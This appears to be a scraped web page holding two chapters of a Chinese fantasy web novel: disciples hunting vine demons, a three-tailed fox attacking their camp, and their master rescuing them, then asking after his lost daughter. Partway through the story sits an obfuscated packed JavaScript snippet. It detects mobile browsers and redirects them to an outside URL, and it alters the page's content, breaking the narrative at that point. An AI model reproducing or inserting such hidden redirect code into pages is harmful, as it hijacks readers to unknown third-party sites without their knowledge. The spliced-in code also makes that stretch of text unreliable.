两个人都停了下来,莫名其妙的胜负欲冒了出来。段星河自信道:“我天天喂它,它肯定更喜欢我。” 步云邪觉得儿子不会为了一口吃的就背叛自己,道:“它是我的儿子,当然更喜欢我。” 段星河扬起了嘴角,道:“要赌么,输的人洗半个月碗。” 步云邪道:“赌就赌,我还怕你不成!” 两人分左右站开来,中间隔了一丈远。段星河手里拿着一大把牛肉干,步云邪则张开双手,露出温柔的笑容,试图用爱吸引儿子过来。 他一笑,便有种春风化雨一般的吸引力。段星河打了个激灵,道:“你不准笑,犯规了!” 步云邪根本不理他这茬,眉眼温柔道:“好孩子,过来。” 墨墨眨了眨眼,牛肉干虽然很有吸引力,但心里喜欢才是最重要的,它径直向步云邪飞了过去。步云邪把它抱在怀里,蹭了蹭它的脑袋,道:“好儿子,这才乖。” 墨墨舒服地眯起了眼,发出了咕噜咕噜的声音。段星河有点无可奈何,道:“小白眼狼,天天喂你还不领情!” 步云邪得意道:“帮我洗半个月的碗,别忘了哦。” 段星河叹了口气,觉得他们父子俩才是一条心,自己跟他们赌就失策了。 树林子里阴沉沉的,地上积着些雪。白桦树上长满了通气的皮孔,远远望去,就像一只只大小不一的眼睛,远远近近地漂浮在半空中。夏天有绿叶时还好,冬天树皮打了霜惨白,树枝光秃秃的,到处弥漫着寒气,显得越发阴森了。 两人走着走着,见前头的树枝上耷拉下来一截枯藤。那妖物身上生着模仿树皮的裂纹,小眼里透着幽红的光,扬起头要偷袭他们。段星河眼睛一亮,低声道:“找到了。” 他将一道幽紫的灵光凝结在手上,轻轻一挥。灵光如刀一般削了过去,把它从树上斩了下来。赤藤妖还没死透,落在地上不住扭动,一边嘶声嚎叫着,刺的人耳膜生疼。 段星河把它从中剖开,从黏液里掏出了一颗赤红的内丹,扔进了腰上挂着的竹篓子里。 步云邪微微皱眉,道:“这玩意儿也太能嚎了吧。” 这玩意儿是挺能叫的,跟过年杀的猪似的。段星河道:“速战速决吧,要是让它把别的什么野兽招过来就麻烦了。” 正说着话,又一条赤藤妖从枯叶堆里爬过,试图悄悄钻进地缝里去。步云邪眼捷手快,一剑刺过去,把那条赤藤妖稳稳地扎在了地上。段星河一剑把它斩成了两截,大手一捏,从赤藤妖身体里挤出了内丹,递给了步云邪。 “你的。” 他们每个人腰上都挂着个小竹篓,用来盛战利品。内丹在篓子里放出暗红色的光,映得竹篓子像个小灯笼。步云邪想起了伏顺的话,扬起嘴角道:“这就是精的那种,见了人还知道跑。” 段星河笑了,道:“一开始那只还想咬人,没有点自知之明,脑子就笨多了。” 两人在林子里转了半天,傍晚回到了营地。李玉真和赵大海已经回来了,大家坐在篝火边清点收获。一共十三颗,段星河一个人就打了五颗。李玉真赞叹道:“厉害啊,不愧是先天打猎圣体。” 步云邪促狭道:“不是先天野人圣体吗?” 段星河盘腿坐在火堆旁边,一副无所谓的模样。伏顺觉得有点意思,必须给自己也来个头衔:“那我就是先天偷盗圣体。” 他指着李玉真道:“你是先天端水圣体。” 李玉真哈哈地笑了,动了动脚丫子道:“错啦,我是先天跑路圣体。” 众人聊着天,把赤藤妖晶装进一个篓子里,让伏顺统一保管。伏顺拍了拍胸脯,道:“放心吧,我就算命没了也得把这些东西看好了!” 步云邪觉得倒也不必这么费劲,递给他一个铜哨子道:“有危险你吹哨子就行了,这附近撒了雄黄和朱砂,一般的妖物不敢靠近。” 这些小妖在这里几乎没有天敌,因此能肆无忌惮地作威作福。他们这一来,附近的赤藤妖就遭老罪了。这玩意儿除了干坏事一点用也没有,段星河打算尽量把它们清理干净,免得它们咬伤过往行人,祸害灵植和动物。 赵大海虽然只打到了一颗内丹,却在林子里逮到了一只肥硕的野兔。他熬了一锅玉米粥,又在火堆里埋了几个大红薯,一会儿就烤的焦黄流蜜。伏顺把兔子扒皮去毛,烤的滋滋冒油,香气勾得人直流口水。 四条兔腿,每个人分了一根,撕腿的时候把肚子上的肉都扯走了。段星河捡了背上肉少的一块吃了,把兔头扔给他儿子啃。墨墨蹭的满脸都是油,脚爪子拨来拨去的也没啃明白。伏顺给它盛了一碗玉米粥,道:“算了,喝点粥吧。” 吃完了饭,步云邪把碗往段星河面前一递,理所当然道:“干活去。” 段星河愿赌服输,没什么好说的,把两个人的碗叠在一起,去小河边刷干净。回来的时候墨墨也吃完了,用鼻子拨弄着它的铁食盆,发出当啷当啷的声音。以前它的饭盆都是段星河洗的,这回他还在生气,道:“让你亲爹给你洗碗去,我不管你了。” 步云邪忍不住笑了,道:“你这人小气的,就洗个碗至于么?” 段星河悻悻道:“它又不领我情,洗了也是白洗。” 墨墨的黑豆眼里放出疑惑的光,看来也属于不太聪明的那一挂。 步云邪拿他没办法,道:“算了,我的碗自己洗,你照旧洗它的吧。” 段星河心里总算平衡了,高兴起来。他都一天没摸它了,手痒得很,道:“过来,给你擦擦脸。” 墨墨飞了过来,段星河拿着一块布,给它把脸上的油和玉米碴擦干净,趁着步云邪没注意,又掰了一块刚烤熟的黄瓤地瓜给它。 墨墨翘着鼻子,吃的十分欢快。李玉真坐在一旁,烤着火道:“这样不胖才怪呢。” 段星河道:“天冷了,多吃点抗冻,等开春它自然就瘦了。” 李玉真摇了摇头,觉得这样下去,这崽子开春只会更胖。 20.师父 一 次日一早,李玉真坐在被窝里揉着眼。步云邪都洗完脸了,他才慢吞吞地穿上了外衣。吃完饭,其他人都各自去忙了,李玉真坐在火堆边,又打了个大大的呵欠。步云邪道:“怎么了?” 李玉真迷迷糊糊地缩成一团,道:“我以前就想说了……段兄为什么睡觉不老实?” 步云邪奇怪道:“哪里不老实?” 伏顺跟赵大海住一个帐篷,另外三个人住一个帐篷,天冷了挤一挤还暖和。但李玉真似乎睡得很不好,还有点委屈。 李玉真道:“他踢我,我一晚上被他踢醒了两回。” 步云邪还以为是什么事,拨弄着篝火道:“正常啊,他也踢我。” 李玉真看着他,道:“这算什么正常啊,这样以后娶老婆怎么办啊?” 步云邪倒没想那么远的事,平静道:“他魇住了。有时候他做噩梦,梦到小时候的事就扑腾几下,习惯了就好了。” 段星河出去打猎了,其他人也不在跟前。李玉真有点好奇,道:“什么噩梦,他小时候过得不好么?” 在一起这么久,李玉真跟他们也像一家人一样了,有些事告诉他也无妨。步云邪道:“来青岩山之前,他家乡闹了饥荒,他爹娘都没了。他背着妹妹逃荒到了巴蜀,一路受了不少罪。” 李玉真十分诧异,道:“啊……原来如此,怪不得他一直想把小妹子找回来。” 步云邪的神色沉重,道:“小雨不是他的亲妹子,他亲生的妹妹被流民抓去吃了。灾荒之年饿殍遍野,妇人孩子被当成米肉,这种事太多了。但星哥是亲眼看到别人把他妹妹煮了的,那些人还要抓他去一起吃了,幸亏师娘经过,用一沓煎饼换了他一条命。” 李玉真的脸色苍白,已经说不出话来了。如果是自己遇上这样的事,恐怕精神早就崩溃了,难得段星河还能好好地活到现在。良久他叹了口气,道:“算了……踢就踢吧,反正也不疼。” 步云邪已经习惯了,道:“大不了他踢你,你就把他弄醒嘛,反正他做噩梦醒不了更难受。” 李玉真想了想,道:“我这里有安神的药,你说他吃了会不会好一点?” 步云邪轻轻一笑,垂下眼没说什么。以前他也试过给段星河治梦魇,没有太大的效果。有些痛苦烙在内心最深的地方,药石是达不到的。 李玉真看着步云邪的表情,明白了他的意思。那是心病治不好,与其折腾别人,不如自己把药吃了睡死一点算了。 篝火燃烧着,把衣裳烤得暖融融的十分舒适。火上支着个铁架子,上面吊着个小铁锅。步云邪用银刀从茶砖上割下一块黑茶,又放了一撮粗糖,片刻水烧开了,锅里咕嘟咕嘟地冒着泡。每天都要留一两个人看营地,他们在这里闲聊一会儿也挺好的。 步云邪舀了一碗茶汤递给李玉真,自己也捧着碗喝了一口。黑茶的味道醇厚,加了糖喝起来甜甜的,感觉很舒适。李玉真往他身边靠了靠,道:“再给我说点你们以前的事吧?” 步云邪想了想,道:“我没什么特别的,就是每天上早课,练剑,打坐。星哥的话……他这人从小就倔,想干什么就干什么,只听师娘的,连师父的账都不怎么买。” 他一提起段星河就露出了笑意,悠然道:“他是逍遥观的第一个小孩,观里没有玩具,他也不稀罕,就是一门心思想练剑。他那时候只有八岁,比剑也高不了多少,师父怕他弄伤自己,只给了他一把桃木剑。” 李玉真感觉他没那么好糊弄,道:“然后呢?” 步云邪果然道:“他不喜欢,就想要一把跟师父一样的剑。他偷偷去库房找到了一把生锈的铁剑,回去自己用磨刀石打磨了很久,铁剑上的锈被他磨掉了,闪闪发亮。他很高兴,拿来给我炫耀了一通,又去问师父能不能自己用。师父看他这么喜欢,就答应了他,让他别伤到自己。” 李玉真笑了,这人果然从小就有股子倔劲儿。步云邪道:“他一直用着那把剑,使了三四年。后来师父给他买了一把新剑,原来的那把他也一直收着,现在还在屋里墙上挂着。” 李玉真道:“挺念旧的。” 步云邪喝了一口茶,道:“后来他有了零花钱,又去买了砂纸,看到什么东西都想打磨一下。师父有一把用了很多年的银壶,费了好大劲儿盘的,包着一层紫色的浆,被他偷偷拿去,打磨的焕然一新。” 李玉真啊了一声,他爹也有几个包浆了的紫砂壶和菩提子手串,碰都不让人碰一下。他感觉大事不妙,道:“你师父怎么说?” 那是步云邪头一次看到师父铁青着脸嘴角抽搐的样子,到现在都记忆犹新。他忍着笑道:“师父没责备他,只是说,‘挺好的,以后不要再帮我打磨东西了’。” 李玉真松了口气,忍不住笑了。之前他就见过段星河从口袋里掏出砂纸,在路边捡起一块石头搓了半天,那块石头平平无奇,也不知道有什么好打磨的。当时李玉真还觉得奇怪,如今才知道他就是打发时间,一坐能坐一个下午,跟别人钓鱼似的。 两人聊着天,段星河提着一只兔子从林子里回来了,还不知道他们在聊自己的事。他拎着兔耳朵晃了晃,高兴道:“中午有肉吃了!” 步云邪抬头道:“辛苦了,要喝茶么?” 段星河把兔子往火堆边一扔,大马金刀地坐下了,道:“来一碗。” 步云邪把茶汤递给他,段星河喝完了,盯着锅沿看了片刻,仿佛被什么吸引住了。步云邪发现上面有一块烧糊的黑斑,登时打了个激灵,道:“你别乱来啊,就这一个煮茶的锅了,弄坏了没得换。” 李玉真噗嗤一声笑了,这两个人在一起太久了,一个眼神就知道对方想干什么。 段星河忍住了掏砂纸的冲动,道:“没,我就是看看……茶挺好喝的,再给我来一碗。” 一群人在营地待了十来天,把附近的赤藤妖都抓的差不多绝种了。一大早,段星河数着篓子里的赤藤妖晶,已经攒了一百二十八个了。竹篓持续放出红幽幽的光芒,晚上尤其明显,就像个灯笼一样。 浓烈的妖气冒出来,红光外又带着丝丝缕缕的黑色。赵大海有点忧虑,道:“这东西有毒没有啊?” 步云邪淡淡道:“有小毒,我炼药之前还要炮制,你要是不放心可以不吃。” 赵大海本来还有点顾虑,想起伏顺受了伤能好的这么快,都是因为服用了二师兄炼的聚灵丹,便也期待起来。 他道:“我吃我吃,给我留一颗,我也出了不少力呢。” 昨天夜里下了一场雪,地上积着一层雪花。段星河道:“今天就是小年了吧?” 李玉真呵出一口白气,道:“是啊,要回去吃饺子吗?” 段星河扎起了护手,道:“上午再逛一逛,下午就拔营回去,安安稳稳过个年。” 众人一想到要回去了,顿时精神起来,感觉已经洗完了热水澡,吃上香喷喷的饺子了。今年最后一天干活了,大家提着兵刃进了树林,打算干一票大的。伏顺照旧守着营地,一会儿功夫觉得无聊,便回帐篷睡觉去了。 伏顺搂着盛赤藤妖晶的篓子,迷迷糊糊地睡了一会儿,听见帐篷外窸窸窣窣地一阵响。他以为是麻雀之类觅食的小动物,就没理会。片刻他感觉身上有点痒,却是一条毛茸茸的大尾巴搔了搔他的脸。伏顺抬起胳膊挠了几下,喃喃道:“瓜皮,别闹。” 他翻了个身,忽然意识到瓜皮一早就跟着步云邪出去了,而且它的毛也没有这么长。伏顺低头一看,怀里空空如也。他抬头一望,见一条火红的大尾巴卷住了那个竹篓,迅速地把它拖出去了。 帐篷外一道红色的影子一闪,伏顺连忙爬起来,骂骂咧咧地追了出去。 “小贼,谁让你偷我东西了!” 他冲出了帐篷,却见面前站着一只半人高的红狐狸。它身后摆动着三条硕大的尾巴,其中一条尾巴卷着那个竹篓,还没来得及藏起来。 伏顺打了个激灵,忽然想起自己之前揭的告示里,就有一个要求捉拿三尾狐的任务。悬赏的报酬很丰厚,足足有三百两白银。 这本来是个肥差,但于百川和段星河都觉得很棘手,宁可不挣这个钱,也不想冒这个险。狐妖每过一百年就会长出一条尾巴,三尾狐起码有二百多年的修为了,对他们来说很难对付。 面前的狐狸应该就是被这篓子里内丹的妖气吸引过来的,它闻着味儿来到了人类的营地,本来想悄悄偷走这些内丹。如今被发现了,它也不介意吃个人再走。 三尾狐露出了白森森的牙齿,朝伏顺逼近过来。伏顺打了个激灵,从腰间拔出匕首,朝它比划道:“你别过来,我警告你,我大师兄很厉害的,还有我二师兄也很厉害。我劝你放下这个篓子,赶紧逃走,要不然我可喊他们了!” 三尾狐根本没把他的话放在心上,却伸出血红的舌头舔了舔嘴唇,仿佛已经尝到他这身瘦肉的滋味了。 伏顺心慌起来,抓起脖子上挂着的哨子一顿猛吹。 “哔——哔哔儿——哔哔儿——哔哔哔哔哔哔——” 三尾狐被他吹得心烦,硕大的尾巴甩过来,啪地一下子把哨子抽开了。段星河走在树林里,刚抓了一只赤藤妖,忽然听见营地方向传来一阵急促的哨声。他跟步云邪对视了一眼,道:“不好,有危险。” 两人拔腿就往回跑,墨墨跟在他们身后一起赶回了营地。地上一片狼藉,一只三尾狐掀翻了他们的帐篷,吞吃了一匹给他们拉车的马,地上鲜血淋漓的十分骇人。赵大海和李玉真闻声奔回来,见地上的马被撕咬的只剩下半个身体了,另外三匹马受到了惊吓,不知道逃到了什么地方。 赵大海惨叫了一声,他把这些牲口当成宝贝,自己掏腰包给它们买豆子吃,天天刷洗,精心照料,没想到一会儿没见着就被这天杀的妖怪吃了。 “啊啊啊啊啊啊——” 他抄起一根木棍,大叫着冲了过去,也不管它有几条尾巴,反正就是要杀了它为自己的马报仇。李玉真也恼了,道:“这狐狸也太不讲武德了吧,趁咱们不在来偷家。伏顺呢,啊……他该不会……” 树上啪嗒一声掉下了一只黑布鞋,差点砸到李玉真头上。伏顺喊道:“我在这儿呢,救命啊——” 段星河刚才就看见他躲到树上去了,幸亏他够机灵。不过自己这些人要是没赶回来,这狐狸吃完了马,还是要吃他的。 那狐狸正在掏马的内脏,猛地挨了那大个子一闷棍,懵了片刻。赵大海攥着棍子的手微微发抖,道:“你吃了我的马,我要扒了你的皮!” 三尾狐咧开大嘴咆哮了一声,身后的尾巴陡然暴涨,向赵大海的脖颈缠了过去。它的双眼赤红,发出了阴沉的声音:“区区人类,竟然敢冒犯本座!” 它修了二百年,本领绝非这几个只修了十来年的小辈可比。赵大海那么大一个汉子,被它轻而易举地举了起来,两条腿悬空着直踢蹬。他被勒的脸红脖子粗,挣扎道:“放开我,咳……救命!” 段星河已经拔剑冲了过来,和步云邪分左右向它攻了过去。那狐狸甩出了另外两条尾巴,狠狠地抽在他们身上,把那两人打的飞了出去。段星河后背撞在树上,摔的生疼。他还没爬起来,就见一道黑色的妖气像藤蔓一样爬过来,把他和步云邪紧紧地捆在了大树上。 段星河用力挣扎,却摆脱不了,心中慌了起来,道:“这是什么鬼!” 墨墨扑着翅膀飞过来,用力撕咬那些黑色的藤蔓。它个头就那么一点大,咬了半天也没什么作用,急的咕咕直叫。步云邪不想连累它,道:“你别管了,赶紧跑!” 他说晚了,那些藤蔓伸了过来,紧紧地卷住了墨墨的身体,把它也捆了起来。 狐妖哈哈一笑,得意道:“这才对,一家人就是要整整齐齐的才好。” 赵大海已经被勒的昏了过去,三尾狐把他扔在了地上,转头看向了李玉真,道:“还有你,想试试本座的厉害么?” 他们一共五个人,一个在树上,两个被捆了起来,还有一个昏了过去,能动的只有李玉真一个了。 他头上渗出了冷汗,下意识向后退去,道:“不了,你要赤藤妖晶,拿走就是。我们无意冒犯,还请前辈高抬贵手,放我们一马。” 明明是这狐妖来偷他们的东西,吃了他们的马匹。但是打不过它,李玉真也只能认怂,只求能保住兄弟几个的性命。 狐妖叹息道:“你这小子还算识时务,可惜啊,说晚了。本座今天本来不想杀人,被你们惹起了兴头,收不住手了!” 它身后的尾巴暴涨,朝李玉真缠了过去。李玉真早有防备,顿时放出一道蓝色的灵光跟它相抗。两道灵光迎面一撞,李玉真远不是它的对手,砰地一下子被击飞出去。伏顺趴在树上看着,惊恐道:“李兄,你没事吧!” 李玉真被打的吐了一口血,摔在一片枯草落叶上,疼得动弹不得。那狐妖朝他走了过来,兴奋道:“你这小子身上的气息很纯净,吃了一定大补。你别怕,我先咬断你的喉咙,不会让你受太多苦的。” 它嘴角流出了涎水,低头凑了过去,贪婪地嗅了嗅。段星河等人都急了,拼命挣扎,竭力喊道:“别吃他!” 他们本来高高兴兴地来这里抓妖,没想到却遇上了这么难对付的怪物,竟要就这么全军覆没了。 李玉真被浓烈的妖气笼罩着,感到了一阵绝望,闭上眼想:“对不住,老爹,我不能回去尽孝了……这回你真得重新生个儿子了。还有小师叔,你给了我那么多金瓜子,我还没花完就要走了,白发人送黑发人,真的很抱歉。” 他等了片刻,想象中的疼痛并没有到来,却听见众人一阵惊呼。他睁开眼,就见一名穿着黄色道袍的中年男子御剑而来,喝道:“孽畜,休得伤人!” 那人手中放出一道灵光,一道雷电打在了狐妖的脚边,把它逼得后退几步。 他睁大了眼,没想到这山野荒芜之地也能碰到会御剑的大能。那狐狸恼怒起来,抬头咆哮道:“你是谁,为什么管我的闲事——” 道士沉声道:“欺负一帮小孩儿算什么本事,来跟道爷我比划比划!” 那男子身上生出了幽紫的灵光,右手比作剑指,化出一道道剑气向狐妖射去。这一招化气为剑的功力不浅,狐狸遇上了对手,大吃一惊,脊背一弓,跃起来躲开了几道剑气。 那道士却不放过它,手上凝结着灵光,凌空书写敕令。剑光登时变得更加凌厉,带着雷电朝狐狸攻了过去。一时间遍地都是电光,雷声隆隆作响。狐妖的一条尾巴被钉在了地上,疼得嚎叫了一声,用力想把尾巴扯出来。那道士神色峻然,断喝道:“紫雷斩——” 他手中的灵力凝结为一柄缠绕着紫电的巨剑,从空中重重斩下,轰然一声贯穿了它的身体。 那狐狸被劈得皮肉焦黑,抽搐了一阵子,终于不动了。大量鲜血漫了出来,散发出强烈的腥臭气。 随着它的死亡,捆在段星河身上的黑色藤蔓也消失了。他和步云邪连忙爬了起来,朝那道士奔了过去。李玉真也站了起来,正想向那位大叔道谢,却见段星河和步云邪都露出了兴奋的表情。两人一左一右拉着那道士的手,道:“师父,你怎么在这里!” 伏顺也像猴子一样从树上滑了下来,冲过去抱住了那中年道士,大哭道:“师父,呜呜呜,幸亏你来了,要不然我们就都没了!” 那中年道士还一句话没说,身上已经挂满了人。他虽然看起来有些严肃,眼中却透出一股慈祥的神色,道:“你们没事吧?” 段星河实在没想到能在这里遇见师父,激动道:“没事,多谢师父相救!” 李玉真一脸疑惑,道:“师父?” 步云邪微微一笑,道:“我给你介绍一下,这是我们逍遥观的掌教,他就是我们的师父。” 李玉真这才明白过来,难怪刚才见这人的功法路数眼熟,原来段星河他们的本事都是跟他学的。那道士四十来岁年纪,长方脸,唇上与颌下留着短须。他能御剑,便是至少到了元婴期。他穿着一身黄褐色的道袍,衣袖上绣着几片青翠的竹叶,用檀木别了个道髻,一双眼睛虽然不大,却湛然有神。他沉声道:“我叫魏清风,小友身上的气息纯正平和,在何处修道啊?” 李玉真连忙行礼道:“晚辈李玉真,在大新太清宫修行,拜见魏掌教。” 魏清风点了点头,走到赵大海身边,低头拍了拍他的脸,道:“大海,醒一醒。” 伏顺担心道:“他没事吧?” 魏清风将一道灵力输进他体内,赵大海悠悠转醒,见头顶上聚拢着五个脑袋,每个人都关切地看着他,其中一个还是他师父。李玉真道:“你醒啦?” 赵大海一时间有些茫然,道:“怎么回事……我死了吗?” “晦气,”伏顺拍了他一巴掌,“你活了,师父来把咱们救了!” 赵大海连忙爬了起来,感觉身体有点疼,但自己还活着,也没缺胳膊断腿的,就没什么可抱怨的了。 狐妖的尸体还在地上,贯穿它的剑气消失了,它的背上留着个硕大的伤口,血流了一地。赵大海恨它吃了自己的马,过去重重地踢了它一脚。 “臭狐狸,让你祸害我的牲口!” 段星河四下环顾,道:“赶紧去找找,不是还有三匹嘛。” 赵大海差点忘了,立刻道:“对,我这就去!” 他低头看着地上的马蹄印,大步走远了。段星河把狐狸倒提着挂在树上,让它身上的血流干了,准备拿回去。这么难打的妖怪被师父杀了,他们手上还有凌烟阁的告示,正好可以拿回去换钱。 步云邪道:“师父,你怎么在这里?” 魏清风看着他们道:“为师还想问,你们是怎么来这个世界的?” 这说起来话就长了,步云邪也没什么事,便在营地里坐下,跟师父把他们是如何来的,又经历了什么跟他说了一遍。伏顺在旁边点起了火,烧了一壶水。 这些孩子来到这里以来,受了不少罪,幸好没出什么大事。魏清风听完了,感叹道:“原来是这样,你们受苦了。” 步云邪道:“师父是怎么来这里的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292399|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏清风道:“为师跟你们差不多,我本来是去后山石窟巡查,忽然见面前有个黑洞,气流不住旋转,把我吸了进去。” 伏顺烧好了水,从行囊里找出了珍藏的洞庭茶泡了,用大瓷碗盛了道:“师父,喝茶。” 出门在外讲究不了这么多,魏清风接过碗喝了一口,继续道:“我被气流送到了夷州,一时找不到回去的路,就在一个叫碣石观的地方借住了一段时间。后来千机门的人吞并了碣石观,杀了不少道士。我侥幸逃了出来,一路游方至此。前几天我听说千机门的人在这附近出没,我就想杀几个他们的人,为碣石观的道友报仇,没想到遇见了你们。” 段星河恍然道:“原来如此,不过我们没在附近见过千机门的人。” 李玉真想起前阵子在拍卖会上倒是见过千机门的少主裴少卿,印象中那人十分光鲜,身上镶金佩玉的,千机门应该不缺钱,不知道为什么还要去吞并其他小门派。 他道:“他们为什么跟碣石观的人过不去?” 魏清风淡淡道:“杀人夺宝、抢夺功法,修真界中这样的事还少么?” 李玉真道:“可他们自己会做机关,不缺钱啊。” 魏清风摇了摇头,觉得这年轻人不开窍似的,道:“千机门的图腾你见过没有?” 李玉真寻思了一下,没什么印象。伏顺却道:“我见过,他们的旗子上绣着一只白色的大鸟。” 李玉真道:“什么样的?” 伏顺比划了一下,感觉说不清楚,捡起树枝在泥地上画了个像鹅一样的大鸟,嘴巴很长,下半截喙特别大,就像个囊袋。他道:“这鸟长得太怪了,我还盯着看了一会儿,记得格外清楚。” 李玉真认出来了,道:“这是鹈鹕嘛。” 魏清风微微一笑,道:“是啊,这种鸟的嘴特别大,只要能塞进嘴里的东西,它都要试图吞下去。它不但吃鱼,甚至能吃跟自己体型一样大的猫狗,看到小孩儿都要用嘴量一量。这个世界的各个宗门都有自己的图腾,千机门的图腾是鹈鹕,信仰的是贪婪。他们就是要把所有能融合的力量都融合到自己的身上去。吞并小门派对他们来说,也不过是像鹈鹕一样,只要吞的下去,它就要吞,没什么道理可讲。” 众人神色凝重,看来千机门也不是什么善茬,以后遇见了还是得多加提防。说话间,赵大海找到了丢失的那三匹马,牵着回来了。他咧着嘴嘿嘿直笑,虽然损失了一匹马,总算不至于全没了。 “找回来啦,就在林子北边!我去的时候它们正在吃草呢,好像等我去找它们似的!” 段星河也松了口气,道:“那就好,过来喝点水吧。” 休息了一会儿,太阳越升越高了。魏清风道:“你们在什么地方落脚?” 段星河道:“我们在驿馆住,师父也一起来吧。” 魏清风站起身道:“好,那就拔营吧。” 营地被那只狐妖祸害的像台风过境一般,到处都是破烂。赵大海把帐篷收起来,一边仔细查看。幸亏帐篷只是被它掀翻了,没有弄坏。碗被砸破了几个,锅上砸了个坑,都是小问题。就是拉车的马少了一匹,回去的路上可能有些吃力。 步云邪走过来道:“怎么了?” 赵大海看着地上小山一样的行李,道:“一匹马可能拉不动这么多东西,要套上大师兄的马么?” 步云邪道:“套我的吧,不过我看还是挤不开。” 赵大海道:“那怎么办?” 步云邪回头招呼道:“墨墨,该锻炼身体了,过来帮忙搬一点。” 墨墨便张开深渊巨口,把行李吞了一大半进去,车上顿时腾出空来了。小崽子吃完了行李,又恢复了乖巧的模样,拍着翅膀飞了起来,丝毫没有沉重的感觉。魏清风吃了一惊,道:“这是?” 步云邪道:“这是我们在玄武山上遇见的灵兽,是一只貘,能搬很多东西。” 魏清风露出了笑容,道:“运气不错,这小家伙挺有用的。” 狐妖身上的血放的差不多了,段星河把它从树枝上取下来,掏出了内丹。幽红的内丹放出淡淡的灵光,至少有二百年的修为,对修行者来说是难得的至宝。段星河把内丹拿到魏清风面前,道:“师父,这是那只狐妖的内丹。” 魏清风看了一眼,淡淡道:“你还在筑基的时候,拿去服用了吧。” 这狐妖是师父打死的,他却舍得把这么好的东西给自己。段星河迟疑道:“这……弟子不敢。” 魏清风的神色温和,道:“你平日里勤勤恳恳为逍遥观做事,师父原本就该嘉奖你。拿去吧,这是你应得的。” 段星河十分感动,道:“多谢师父。” 魏清风虽然平时话不多,据说从前也是个温柔随和的人,只是中年生了一场大病,痊愈之后深感人生无常,渐渐就变成了一副沉默的模样。 师父不在,他们都得提高警惕,眼观六路耳听八方地活着。如今师父一来,他们顿时觉得有了倚仗。众人围着他,好像又回到了青岩山中,听他讲经说法。这世上的危险、痛苦都离他们远去了,他们只需要念念经、练练剑,不必为任何事担心。 众人收拾好了行李,挤进了大车里。段星河骑马伴在车边,赵大海驾着大车,缓缓往城里驶去。 下午回了驿馆,驿丞前来迎接道:“步大人,你们回来了。我寻思着你们的补给快用完了,也该回来歇歇了。” 步云邪微微一笑,道:“有劳你记挂。” 驿丞道:“应该的,咦,这位是?” 步云邪道:“这是我们的师父,在外面遇见了,回来一起过年。” 驿丞肃然起敬,连忙道:“那感情好,我这就让人打扫房间,给尊师准备一间上房!” 赵大海没卸行李,直接回了房,累得倒头就睡,其他人都跟他差不多。这段时间他们在外面露营实在辛苦,段星河打算上元节之前都不出远门了,就在驿馆好生歇歇,等天暖和了再说以后的事。 晚上段星河梳洗干净,换上了一件墨蓝色的小袖道袍,头上梳了个道髻。他这大半年常穿钦天监的官服,要不然就扎着剑袖,一副利索的武人打扮。偶尔穿得宽松一些,和缓了眉眼间的锐气,颇有些闲云野鹤的气质。 步云邪看着他道:“好久没见你这么穿了,还挺俊的。” 段星河微微一笑,道:“师父回来了,不能忘本嘛。” 他和步云邪去厨房端了一大份饺子,并着几碟好菜用食盒盛着,又提了一坛酒,去厢房找师父。他到了屋门前,听见里头有人说话,心道:“人都来了?” 两人进了屋,见李玉真和伏顺、赵大海都在,他们跟自己想到了一处,已经带饭过来了。段星河放下了食盒,道:“这么热闹,怎么不叫我?” 李玉真招手道:“正想去喊你们呢,快过来坐!” 大家虽然身在另一个世界,小年夜能好好地聚在一起,也算是颠沛流离中的一点慰藉了。桌上摆满了佳肴,段星河给师父倒了一杯酒,站起来道:“弟子敬师父一杯,多谢师父救了我们!” 魏清风微微一笑,道:“是咱们师徒之间有缘分,冥冥之中让我找到了你们。这杯酒还是感谢上苍吧!” 他说着把酒杯举过头顶,以示恭敬,随即一饮而尽。大家跟着他把酒喝了,伏顺舔嘴咂舌的,有些意犹未尽。赵大海也是精神一振,道:“这就是杜康么,比咱们老家的高粱好多了。” 魏清风道:“你们年纪还小,要以修行为重。念着是过节,且让你们每人喝三杯,谁也不准多喝。” 大家便笑了,来到这里之后,他们都像孤儿一样相依为命。如今遇见了师父,还有人管束自己,让他们心里暖暖的。 魏清风拿起了筷子,道:“吃饭吧。星河,你多吃点肉,都瘦成什么样了。” 他夹了一筷子梅菜扣肉放在爱徒碗里,猪肉五花三层,加足了酱汁炖的又软又烂,梅菜也很香。段星河小时候就特别爱吃这个,过年的时候师父总会让师娘留一碗梅菜扣肉给他,没想到他还记得这件事。 外头寒风呼啸,窗户上贴着红窗花,屋里暖融融的。魏清风看着身边的弟子们,感叹道:“可惜你们师娘不在,她若是也在,咱们就跟在家没什么区别了。” 众人一时间不知道说什么好,师父又道:“小雨呢,她还在家好好的吧?” 大家的神色顿时都变得凝重起来,段星河一口饭没咽下去,差点噎住了。魏清风的心思敏锐,觉察到了不对劲,道:“怎么了,小雨没跟她娘在一起么?” 众人都不敢回答,低头的低头,沉默的沉默。师父把女儿交给他们保护,他们却把她弄丢了。天这么冷,他们在过节,小师妹却不知道在什么地方,说不定就在挨饿受冻。 魏清风的目光落在了段星河身上,沉声道:“星河,你说怎么回事?” 段星河感到了极大的压力,不知道是照实说还是敷衍过去。他缓缓站了起来,不敢面对师父,心中十分内疚,一时间不知该如何是好。 21.师父 二 纸里包不住火,段星河不想欺骗师父。他迟疑了片刻,低着头道:“对不起,师父,我把小雨弄丢了。” 其他人都十分紧张,生怕师父大发雷霆。魏清风的脸色沉了下来,道:“怎么回事?” 段星河道:“当时小师妹跟我们一起去了后山,她的灵力引发了地震,山洞里出现了一个黑洞,她离得最近,先被吸了进去。我们本来是想找她的,但人海茫茫,一直也没有找到。” 魏清风一时间没说话,他只有魏小雨一个女儿,对她视若珍宝。他皱眉道:“怎么没早告诉我?” 段星河低声道:“弟子没看好她,心里很愧疚,不敢说。” 步云邪忍不住道:“大师兄一直在找小师妹,还画了她的像带在身上,去一个地方就把当地的人都问一遍,他真的很努力在找她了。” “是啊,”伏顺道,“这事真的不怪大师兄,您要怪就怪我们吧。” 